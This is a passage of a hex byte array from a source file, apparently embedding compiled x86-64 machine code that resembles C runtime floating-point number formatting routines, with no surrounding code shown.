0x8b, 0xc6, 0x8b, 0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd3, - 0x4c, 0x89, 0x74, 0x24, 0x40, 0x49, 0x8b, 0xcf, 0x89, 0x44, 0x24, 0x38, - 0x48, 0x8b, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x44, 0x88, 0x74, 0x24, - 0x30, 0x89, 0x7c, 0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb5, - 0x02, 0x00, 0x00, 0x8b, 0xf8, 0x85, 0xc0, 0x74, 0x08, 0x44, 0x88, 0x33, - 0xe9, 0x74, 0x02, 0x00, 0x00, 0xba, 0x65, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0xcb, 0xe8, 0xde, 0x9d, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x5b, - 0x02, 0x00, 0x00, 0x8a, 0x8c, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x80, 0xf1, - 0x01, 0xc0, 0xe1, 0x05, 0x80, 0xc1, 0x50, 0x88, 0x08, 0x44, 0x88, 0x70, - 0x03, 0xe9, 0x40, 0x02, 0x00, 0x00, 0xb8, 0x2d, 0x00, 0x00, 0x00, 0x48, - 0x85, 0xc9, 0x79, 0x08, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x49, 0x8b, 0x0f, - 0x8a, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x6b, 0x01, 0x34, - 0x01, 0x41, 0xbc, 0xff, 0x03, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0xe8, 0x41, - 0xb9, 0x30, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xf5, 0x48, 0xb8, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0xc1, 0xe6, 0x05, 0x49, 0xba, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x83, 0xc6, 0x07, 0x48, 0x85, - 0xc8, 0x75, 0x18, 0x44, 0x88, 0x0b, 0x49, 0x8b, 0x07, 0x49, 0x23, 0xc2, - 0x48, 0xf7, 0xd8, 0x4d, 0x1b, 0xe4, 0x41, 0x81, 0xe4, 0xfe, 0x03, 0x00, - 0x00, 0xeb, 0x03, 0xc6, 0x03, 0x31, 0x33, 0xdb, 0x4c, 0x8d, 0x75, 0x01, - 0x85, 0xff, 0x75, 0x04, 0x8a, 0xc3, 0xeb, 0x11, 0x48, 0x8b, 0x44, 0x24, - 0x58, 0x48, 0x8b, 0x88, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x8a, - 0x00, 0x88, 0x45, 0x00, 0x4d, 0x85, 0x17, 0x0f, 0x86, 0x91, 0x00, 0x00, - 0x00, 0x45, 0x0f, 0xb7, 0xc1, 0x48, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x0f, 0x00, 0x85, 0xff, 0x7e, 0x2f, 0x49, 0x8b, 0x07, 0x41, 0x8a, - 0xc8, 0x48, 0x23, 0xc2, 0x49, 0x23, 0xc2, 0x48, 0xd3, 0xe8, 0x66, 0x41, - 0x03, 0xc1, 0x66, 0x83, 0xf8, 0x39, 0x76, 0x03, 0x66, 0x03, 0xc6, 0x41, - 0x88, 0x06, 0xff, 0xcf, 0x49, 0xff, 0xc6, 0x48, 0xc1, 0xea, 0x04, 0x66, - 0x41, 0x83, 0xc0, 0xfc, 0x79, 0xcd, 0x66, 0x45, 0x85, 0xc0, 0x78, 0x4a, - 0x44, 0x8b, 0x8c, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcf, 0xe8, - 0xfc, 0x06, 0x00, 0x00, 0x41, 0xb9, 0x30, 0x00, 0x00, 0x00, 0x84, 0xc0, - 0x74, 0x30, 0x49, 0x8d, 0x4e, 0xff, 0x8a, 0x11, 0x8d, 0x42, 0xba, 0xa8, - 0xdf, 0x75, 0x08, 0x44, 0x88, 0x09, 0x48, 0xff, 0xc9, 0xeb, 0xef, 0x48, - 0x3b, 0xcd, 0x74, 0x13, 0x80, 0xfa, 0x39, 0x75, 0x06, 0x40, 0x80, 0xc6, - 0x3a, 0xeb, 0x03, 0x8d, 0x72, 0x01, 0x40, 0x88, 0x31, 0xeb, 0x03, 0xfe, - 0x41, 0xff, 0x85, 0xff, 0x7e, 0x15, 0x44, 0x8b, 0xc7, 0x41, 0x8a, 0xd1, - 0x49, 0x8b, 0xce, 0x8b, 0xdf, 0xe8, 0x1e, 0xb3, 0xff, 0xff, 0x4c, 0x03, - 0xf3, 0x33, 0xdb, 0x38, 0x5d, 0x00, 0x49, 0x0f, 0x45, 0xee, 0x41, 0xc0, - 0xe5, 0x05, 0x41, 0x80, 0xc5, 0x50, 0x44, 0x88, 0x6d, 0x00, 0x4c, 0x8d, - 0x4d, 0x02, 0x49, 0x8b, 0x07, 0x48, 0xc1, 0xe8, 0x34, 0x25, 0xff, 0x07, - 0x00, 0x00, 0x8b, 0xc8, 0x49, 0x2b, 0xcc, 0x48, 0x8b, 0xd1, 0x79, 0x06, - 0x49, 0x8b, 0xcc, 0x48, 0x2b, 0xc8, 0xb8, 0x2b, 0x00, 0x00, 0x00, 0x45, - 0x33, 0xf6, 0x48, 0x85, 0xd2, 0x4d, 0x8b, 0xc1, 0x8d, 0x50, 0x02, 0x0f, - 0x48, 0xc2, 0x88, 0x45, 0x01, 0x41, 0xc6, 0x01, 0x30, 0x48, 0x81, 0xf9, - 0xe8, 0x03, 0x00, 0x00, 0x7c, 0x2f, 0x48, 0xb8, 0xcf, 0xf7, 0x53, 0xe3, - 0xa5, 0x9b, 0xc4, 0x20, 0x4d, 0x8d, 0x41, 0x01, 0x48, 0xf7, 0xe9, 0x48, - 0xc1, 0xfa, 0x07, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, 0x03, - 0xd0, 0x8d, 0x42, 0x30, 0x41, 0x88, 0x01, 0x48, 0x69, 0xc2, 0x18, 0xfc, - 0xff, 0xff, 0x48, 0x03, 0xc8, 0x4d, 0x3b, 0xc1, 0x75, 0x06, 0x48, 0x83, - 0xf9, 0x64, 0x7c, 0x2e, 0x48, 0xb8, 0x0b, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, - 0xd7, 0xa3, 0x48, 0xf7, 0xe9, 0x48, 0x03, 0xd1, 0x48, 0xc1, 0xfa, 0x06, - 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, 0x03, 0xd0, 0x8d, 0x42, - 0x30, 0x41, 0x88, 0x00, 0x49, 0xff, 0xc0, 0x48, 0x6b, 0xc2, 0x9c, 0x48, - 0x03, 0xc8, 0x4d, 0x3b, 0xc1, 0x75, 0x06, 0x48, 0x83, 0xf9, 0x0a, 0x7c, - 0x2b, 0x48, 0xb8, 0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, - 0xf7, 0xe9, 0x48, 0xc1, 0xfa, 0x02, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, - 0x3f, 0x48, 0x03, 0xd0, 0x8d, 0x42, 0x30, 0x41, 0x88, 0x00, 0x49, 0xff, - 0xc0, 0x48, 0x6b, 0xc2, 0xf6, 0x48, 0x03, 0xc8, 0x80, 0xc1, 0x30, 0x41, - 0x88, 0x08, 0x45, 0x88, 0x70, 0x01, 0x41, 0x8b, 0xfe, 0x44, 0x38, 0x74, - 0x24, 0x68, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x83, 0xa1, 0xa8, - 0x03, 0x00, 0x00, 0xfd, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x8b, 0xc7, 0x49, - 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, 0x73, 0x40, 0x49, - 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, - 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, - 0x89, 0x73, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x8b, 0xac, 0x24, 0x88, - 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, - 0x00, 0x00, 0x4d, 0x8d, 0x43, 0xe8, 0x48, 0x8b, 0x09, 0x48, 0x8b, 0xfa, - 0x44, 0x8d, 0x55, 0x02, 0x49, 0xff, 0xc2, 0x8d, 0x55, 0x01, 0x4c, 0x3b, - 0xd0, 0x49, 0x0f, 0x42, 0xc2, 0x49, 0x89, 0x43, 0xc8, 0xe8, 0x16, 0x44, - 0x00, 0x00, 0x45, 0x33, 0xc0, 0x44, 0x8b, 0xc8, 0x83, 0x7c, 0x24, 0x40, - 0x2d, 0x48, 0x8b, 0xd6, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x41, - 0x0f, 0x94, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x33, 0xc9, 0x44, 0x89, 0x4c, - 0x24, 0x20, 0x85, 0xed, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x0f, 0x9f, 0xc1, - 0x48, 0x2b, 0xd1, 0x49, 0x2b, 0xd0, 0x48, 0x83, 0xfe, 0xff, 0x48, 0x0f, - 0x44, 0xd6, 0x49, 0x03, 0xc8, 0x48, 0x03, 0xcf, 0x44, 0x8d, 0x45, 0x01, - 0xe8, 0x37, 0x3e, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x05, 0xc6, 0x07, 0x00, - 0xeb, 0x3d, 0x48, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x44, 0x8b, - 0xc5, 0x44, 0x8a, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd6, - 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0xcf, 0x48, 0x8d, 0x44, 0x24, - 0x40, 0xc6, 0x44, 0x24, 0x30, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, - 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x15, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, - 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x57, 0x48, 0x83, 0xec, - 0x50, 0x33, 0xc0, 0x49, 0x63, 0xd8, 0x45, 0x85, 0xc0, 0x45, 0x8a, 0xf9, - 0x48, 0x8b, 0xea, 0x48, 0x8b, 0xf9, 0x0f, 0x4f, 0xc3, 0x83, 0xc0, 0x09, - 0x48, 0x98, 0x48, 0x3b, 0xd0, 0x77, 0x2e, 0xe8, 0xb4, 0xf3, 0xff, 0xff, - 0xbb, 0x22, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0x88, 0xf2, 0xff, 0xff, - 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x68, - 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x83, - 0xc4, 0x50, 0x41, 0x5f, 0xc3, 0x48, 0x8b, 0x94, 0x24, 0x98, 0x00, 0x00, - 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0x05, 0xc5, 0xff, 0xff, 0x80, - 0xbc, 0x24, 0x90, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x88, - 0x00, 0x00, 0x00, 0x74, 0x29, 0x33, 0xd2, 0x83, 0x3e, 0x2d, 0x0f, 0x94, - 0xc2, 0x48, 0x03, 0xd7, 0x85, 0xdb, 0x7e, 0x1a, 0x49, 0x83, 0xc8, 0xff, - 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, 0x02, 0x00, 0x75, 0xf6, 0x49, 0xff, - 0xc0, 0x48, 0x8d, 0x4a, 0x01, 0xe8, 0xa2, 0xb4, 0xff, 0xff, 0x83, 0x3e, - 0x2d, 0x48, 0x8b, 0xd7, 0x75, 0x07, 0xc6, 0x07, 0x2d, 0x48, 0x8d, 0x57, - 0x01, 0x85, 0xdb, 0x7e, 0x1b, 0x8a, 0x42, 0x01, 0x88, 0x02, 0x48, 0xff, - 0xc2, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x88, 0xf8, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x01, 0x8a, 0x08, 0x88, 0x0a, 0x0f, 0xb6, 0x8c, 0x24, - 0x90, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x81, 0xc0, 0x00, 0x00, 0x48, - 0x03, 0xda, 0x48, 0x83, 0xf1, 0x01, 0x48, 0x03, 0xd9, 0x48, 0x2b, 0xfb, - 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xfd, 0xff, 0x48, 0x8d, 0x14, 0x2f, 0x48, - 0x0f, 0x44, 0xd5, 0xe8, 0xc4, 0xe7, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x85, - 0xa4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4b, 0x02, 0x45, 0x84, 0xff, 0x74, - 0x03, 0xc6, 0x03, 0x45, 0x48, 0x8b, 0x46, 0x08, 0x80, 0x38, 0x30, 0x74, - 0x57, 0x44, 0x8b, 0x46, 0x04, 0x41, 0x83, 0xe8, 0x01, 0x79, 0x07, 0x41, - 0xf7, 0xd8, 0xc6, 0x43, 0x01, 0x2d, 0x41, 0x83, 0xf8, 0x64, 0x7c, 0x1b, - 0xb8, 0x1f, 0x85, 0xeb, 0x51, 0x41, 0xf7, 0xe8, 0xc1, 0xfa, 0x05, 0x8b, - 0xc2, 0xc1, 0xe8, 0x1f, 0x03, 0xd0, 0x00, 0x53, 0x02, 0x6b, 0xc2, 0x9c, - 0x44, 0x03, 0xc0, 0x41, 0x83, 0xf8, 0x0a, 0x7c, 0x1b, 0xb8, 0x67, 0x66, - 0x66, 0x66, 0x41, 0xf7, 0xe8, 0xc1, 0xfa, 0x02, 0x8b, 0xc2, 0xc1, 0xe8, - 0x1f, 0x03, 0xd0, 0x00, 0x53, 0x03, 0x6b, 0xc2, 0xf6, 0x44, 0x03, 0xc0, - 0x44, 0x00, 0x43, 0x04, 0x83, 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x02, - 0x75, 0x14, 0x80, 0x39, 0x30, 0x75, 0x0f, 0x48, 0x8d, 0x51, 0x01, 0x41, - 0xb8, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xb2, 0xb3, 0xff, 0xff, 0x80, 0x7c, - 0x24, 0x48, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, - 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x33, 0xc0, 0xe9, 0x8e, 0xfe, 0xff, 0xff, - 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, - 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x1f, 0xf1, 0xff, 0xff, 0xcc, 0xcc, 0xcc, - 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, - 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, - 0x40, 0x48, 0x8b, 0x54, 0x24, 0x78, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x48, - 0xd8, 0x4d, 0x8b, 0xf1, 0x41, 0x8b, 0xf0, 0xe8, 0x78, 0xc3, 0xff, 0xff, - 0x80, 0x7c, 0x24, 0x70, 0x00, 0x49, 0x63, 0x4e, 0x04, 0x74, 0x1a, 0x8d, - 0x41, 0xff, 0x3b, 0xc6, 0x75, 0x13, 0x33, 0xc0, 0x41, 0x83, 0x3e, 0x2d, - 0x0f, 0x94, 0xc0, 0x48, 0x03, 0xc3, 0x66, 0xc7, 0x44, 0x01, 0xff, 0x30, - 0x00, 0x41, 0x83, 0x3e, 0x2d, 0x75, 0x06, 0xc6, 0x03, 0x2d, 0x48, 0xff, - 0xc3, 0x49, 0x63, 0x46, 0x04, 0x48, 0x83, 0xcf, 0xff, 0x85, 0xc0, 0x7f, - 0x49, 0x75, 0x0d, 0x49, 0x8b, 0x46, 0x08, 0x80, 0x38, 0x30, 0x75, 0x04, - 0xb0, 0x01, 0xeb, 0x02, 0x32, 0xc0, 0x80, 0x7c, 0x24, 0x70, 0x00, 0x74, - 0x0a, 0x84, 0xc0, 0x74, 0x06, 0x48, 0x8d, 0x6b, 0x01, 0xeb, 0x1f, 0x48, - 0x8d, 0x6b, 0x01, 0x4c, 0x8b, 0xc7, 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, - 0x03, 0x00, 0x75, 0xf6, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x8b, - 0xcd, 0xe8, 0xd2, 0xb2, 0xff, 0xff, 0xc6, 0x03, 0x30, 0x48, 0x8b, 0xdd, - 0xeb, 0x03, 0x48, 0x03, 0xd8, 0x85, 0xf6, 0x7e, 0x78, 0x48, 0x8d, 0x6b, - 0x01, 0x4c, 0x8b, 0xc7, 0x49, 0xff, 0xc0, 0x42, 0x80, 0x3c, 0x03, 0x00, - 0x75, 0xf6, 0x49, 0xff, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcd, 0xe8, - 0xa4, 0xb2, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x88, - 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x8a, 0x08, 0x88, 0x0b, 0x41, - 0x8b, 0x46, 0x04, 0x85, 0xc0, 0x79, 0x3e, 0xf7, 0xd8, 0x80, 0x7c, 0x24, - 0x70, 0x00, 0x75, 0x04, 0x3b, 0xc6, 0x7d, 0x02, 0x8b, 0xf0, 0x85, 0xf6, - 0x74, 0x1b, 0x48, 0xff, 0xc7, 0x80, 0x3c, 0x2f, 0x00, 0x75, 0xf7, 0x48, - 0x63, 0xce, 0x4c, 0x8d, 0x47, 0x01, 0x48, 0x03, 0xcd, 0x48, 0x8b, 0xd5, - 0xe8, 0x5b, 0xb2, 0xff, 0xff, 0x4c, 0x63, 0xc6, 0xba, 0x30, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0xcd, 0xe8, 0xeb, 0xad, 0xff, 0xff, 0x80, 0x7c, 0x24, - 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x83, 0xa0, 0xa8, - 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x33, 0xc0, 0x48, - 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, 0x7c, - 0x24, 0x68, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, - 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, - 0x89, 0x7b, 0x18, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0x84, - 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0x09, 0x4d, - 0x8d, 0x43, 0xe8, 0x48, 0x8b, 0xfa, 0x49, 0x89, 0x43, 0xc8, 0x8b, 0x94, - 0x24, 0x88, 0x00, 0x00, 0x00, 0x0f, 0x57, 0xc0, 0x0f, 0x11, 0x44, 0x24, - 0x40, 0xe8, 0xf2, 0x3f, 0x00, 0x00, 0x44, 0x8b, 0x74, 0x24, 0x44, 0x45, - 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x40, 0x2d, 0x44, 0x8b, 0xc8, 0x8b, 0x84, - 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd5, 0x41, 0x0f, 0x94, 0xc0, - 0x89, 0x44, 0x24, 0x28, 0x49, 0x2b, 0xd0, 0x44, 0x89, 0x4c, 0x24, 0x20, - 0x41, 0xff, 0xce, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x48, 0x83, 0xfd, 0xff, - 0x49, 0x8d, 0x1c, 0x38, 0x44, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, - 0x48, 0x0f, 0x44, 0xd5, 0x48, 0x8b, 0xcb, 0xe8, 0x10, 0x3a, 0x00, 0x00, - 0x85, 0xc0, 0x74, 0x08, 0xc6, 0x07, 0x00, 0xe9, 0x93, 0x00, 0x00, 0x00, - 0x8b, 0x44, 0x24, 0x44, 0xff, 0xc8, 0x83, 0xf8, 0xfc, 0x7c, 0x46, 0x3b, - 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x7d, 0x3d, 0x44, 0x3b, 0xf0, 0x7d, - 0x0c, 0x8a, 0x03, 0x48, 0xff, 0xc3, 0x84, 0xc0, 0x75, 0xf7, 0x88, 0x43, - 0xfe, 0x48, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, - 0x24, 0x40, 0x44, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0xd5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0xcf, 0xc6, 0x44, 0x24, - 0x20, 0x01, 0xe8, 0xad, 0xfd, 0xff, 0xff, 0xeb, 0x42, 0x48, 0x8b, 0x84, - 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd5, 0x44, 0x8a, 0x8c, 0x24, - 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x44, 0x8b, 0x84, 0x24, 0x88, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8d, 0x44, 0x24, - 0x40, 0xc6, 0x44, 0x24, 0x30, 0x01, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, - 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x95, - 0xfb, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, - 0x68, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x41, 0x5e, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x19, - 0x49, 0xbc, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x48, 0x23, - 0xda, 0x45, 0x0f, 0xbf, 0xf0, 0x49, 0x23, 0xdc, 0x48, 0x8b, 0xf9, 0x41, - 0x8b, 0xce, 0x45, 0x33, 0xff, 0x48, 0xd3, 0xeb, 0x48, 0x8b, 0xea, 0x45, - 0x85, 0xc9, 0x75, 0x0c, 0x66, 0x83, 0xfb, 0x08, 0x0f, 0x93, 0xc0, 0xe9, - 0xa3, 0x00, 0x00, 0x00, 0xe8, 0x5f, 0x51, 0x00, 0x00, 0x85, 0xc0, 0x75, - 0x72, 0x4c, 0x8b, 0x07, 0x41, 0x8b, 0xce, 0x49, 0x8b, 0xc0, 0x48, 0x23, - 0xc5, 0x49, 0x23, 0xc4, 0x48, 0xd3, 0xe8, 0x66, 0x83, 0xf8, 0x08, 0x76, - 0x07, 0xba, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x4f, 0x73, 0x05, 0x41, 0x8a, - 0xd7, 0xeb, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xc2, 0x48, 0xd3, - 0xe0, 0x48, 0x2b, 0xc2, 0x49, 0x23, 0xc0, 0x49, 0x85, 0xc4, 0x75, 0x33, - 0x41, 0x83, 0xfe, 0x30, 0x74, 0x19, 0x49, 0xc1, 0xe8, 0x04, 0x48, 0xb8, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x23, 0xc5, 0x4c, - 0x23, 0xc0, 0x49, 0xd3, 0xe8, 0xeb, 0x11, 0x48, 0xb8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x4c, 0x85, 0xc0, 0x41, 0x0f, 0x95, 0xc0, - 0x41, 0x22, 0xd0, 0x8a, 0xc2, 0xeb, 0x28, 0x3d, 0x00, 0x02, 0x00, 0x00, - 0x75, 0x0c, 0x66, 0x85, 0xdb, 0x74, 0xa3, 0x4c, 0x39, 0x3f, 0x7c, 0x9e, - 0xeb, 0x93, 0x3d, 0x00, 0x01, 0x00, 0x00, 0x75, 0x0c, 0x66, 0x85, 0xdb, - 0x74, 0x90, 0x4c, 0x39, 0x3f, 0x7d, 0x8b, 0xeb, 0x80, 0x32, 0xc0, 0x48, - 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, - 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x20, 0x41, - 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x4d, 0x8b, 0xd1, - 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xda, 0x4c, 0x8b, 0xf1, 0x48, 0x85, 0xd2, - 0x75, 0x18, 0xe8, 0x25, 0xee, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, - 0x89, 0x18, 0xe8, 0xf9, 0xec, 0xff, 0xff, 0x8b, 0xc3, 0xe9, 0xc4, 0x02, - 0x00, 0x00, 0x48, 0x85, 0xff, 0x74, 0xe3, 0x4d, 0x85, 0xd2, 0x74, 0xde, - 0x4c, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x74, - 0xd1, 0x8b, 0x8c, 0x24, 0x98, 0x00, 0x00, 0x00, 0x83, 0xf9, 0x41, 0x74, - 0x0d, 0x8d, 0x41, 0xbb, 0x83, 0xf8, 0x02, 0x76, 0x05, 0x45, 0x32, 0xdb, - 0xeb, 0x03, 0x41, 0xb3, 0x01, 0x4c, 0x8b, 0x84, 0x24, 0xa8, 0x00, 0x00, - 0x00, 0x41, 0xf6, 0xc0, 0x08, 0x0f, 0x85, 0xe3, 0x00, 0x00, 0x00, 0x49, - 0x8b, 0x16, 0xbe, 0xff, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xc2, 0x48, 0xc1, - 0xe8, 0x34, 0x48, 0x23, 0xc6, 0x48, 0x3b, 0xc6, 0x0f, 0x85, 0xc8, 0x00, - 0x00, 0x00, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, - 0x48, 0x8b, 0xc2, 0x41, 0xb8, 0x0c, 0x00, 0x00, 0x00, 0x48, 0x23, 0xc1, - 0x75, 0x04, 0x33, 0xc9, 0xeb, 0x2d, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x08, 0x00, 0x48, 0x85, 0xd2, 0x79, 0x0a, 0x48, 0x3b, 0xc1, - 0x75, 0x05, 0x49, 0x8b, 0xc8, 0xeb, 0x14, 0x48, 0x8b, 0xc2, 0x48, 0x23, - 0xc1, 0x48, 0xf7, 0xd8, 0x48, 0x1b, 0xc9, 0x48, 0x83, 0xe1, 0xfc, 0x48, - 0x83, 0xc1, 0x08, 0x48, 0xc1, 0xea, 0x3f, 0x48, 0x8d, 0x42, 0x04, 0x48, - 0x3b, 0xf8, 0x73, 0x05, 0xc6, 0x03, 0x00, 0xeb, 0x65, 0x49, 0x83, 0xca, - 0xff, 0x84, 0xd2, 0x74, 0x11, 0xc6, 0x03, 0x2d, 0x48, 0xff, 0xc3, 0xc6, - 0x03, 0x00, 0x49, 0x3b, 0xfa, 0x74, 0x03, 0x48, 0xff, 0xcf, 0x41, 0x0f, - 0xb6, 0xd3, 0x4c, 0x8d, 0x0d, 0xe7, 0xb9, 0x00, 0x00, 0x83, 0xf2, 0x01, - 0x03, 0xd2, 0x8b, 0xc2, 0x48, 0x03, 0xc1, 0x4d, 0x8b, 0x04, 0xc1, 0x49, - 0xff, 0xc2, 0x43, 0x80, 0x3c, 0x10, 0x00, 0x75, 0xf6, 0x33, 0xc0, 0x49, - 0x3b, 0xfa, 0x0f, 0x96, 0xc0, 0x44, 0x8d, 0x04, 0x02, 0x48, 0x8b, 